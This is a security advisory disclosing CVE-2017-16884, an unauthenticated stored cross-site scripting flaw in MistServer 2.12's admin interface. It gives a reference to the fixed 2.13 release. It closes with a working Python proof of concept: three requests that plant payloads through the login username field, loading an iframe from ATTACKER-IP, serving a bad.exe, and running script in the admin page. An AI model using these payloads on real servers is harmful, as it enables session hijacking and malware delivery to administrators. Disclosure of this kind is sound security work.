MistServer 2.12 - Cross-Site Scripting Vulnerability

[+] Credits: John Page (aka Hyp3rlinX)      
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt

Vendor:
=============
mistserver.org
 

Product:
===========
MistServer v2.12
 
 
MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).
 
 
 
Vulnerability Type:
===================
Unauthenticated Persistent XSS
 
 
 
CVE Reference:
==============
CVE-2017-16884
 
 
 
Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code. 
 
 
 
References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21
 
 
 
Exploit/POC:
=============
import requests
 
#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}')
 
#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')
 
#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')

#  0day.today [2018-01-02]  #